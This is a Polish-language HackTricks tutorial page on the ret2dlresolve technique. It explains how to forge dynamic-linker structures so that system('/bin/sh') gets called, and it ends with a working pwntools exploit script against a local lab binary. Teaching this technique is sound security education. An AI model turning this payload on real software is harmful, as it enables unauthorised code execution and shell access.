5.5 KiB
Ret2dlresolve
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Podstawowe informacje
Jak wyjaśniono na stronie dotyczącej GOT/PLT i Relro, binarne pliki bez pełnego Relro będą rozwiązywać symbole (takie jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy zostaną użyte. To rozwiązanie następuje poprzez wywołanie funkcji _dl_runtime_resolve
.
Funkcja _dl_runtime_resolve
pobiera ze stosu odwołania do pewnych struktur, których potrzebuje do rozwiązania określonego symbolu.
Dlatego możliwe jest podrobienie wszystkich tych struktur, aby dynamiczne rozwiązanie odwołań mogło rozwiązać żądany symbol (np. funkcję system
) i wywołać ją z ustawionym parametrem (np. system('/bin/sh')
).
Zazwyczaj wszystkie te struktury są fałszowane poprzez utworzenie początkowego łańcucha ROP, który wywołuje read
na zapisywalnej pamięci, a następnie przekazywane są struktury i łańcuch znaków '/bin/sh'
, aby zostały zapisane przez read
w znanym miejscu, a następnie łańcuch ROP kontynuuje wywołanie _dl_runtime_resolve
z adresem do $'/bin/sh'
.
{% hint style="success" %} Ta technika jest szczególnie przydatna, zwłaszcza jeśli nie ma gadżetów systemowych (do użycia technik takich jak ret2syscall lub SROP) i nie ma sposobów na wyciek adresów libc. {% endhint %}
Możesz znaleźć lepsze wyjaśnienie tej techniki w drugiej połowie tego filmu:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Struktury
Konieczne jest podrobienie 3 struktur: JMPREL
, STRTAB
i SYMTAB
. Masz lepsze wyjaśnienie, jak są one budowane w https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
Podsumowanie ataku
- Napisz fałszywe struktury w pewnym miejscu
- Ustaw pierwszy argument systemu (
$rdi = &'/bin/sh'
) - Ustaw na stosie adresy do struktur, aby wywołać
_dl_runtime_resolve
- Wywołaj
_dl_runtime_resolve
system
zostanie rozwiązany i wywołany z'/bin/sh'
jako argumentem
Przykład
Możesz znaleźć przykład tej techniki tutaj z bardzo dobrym wyjaśnieniem końcowego łańcucha ROP, ale oto używany końcowy exploit:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
Odnośniki
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.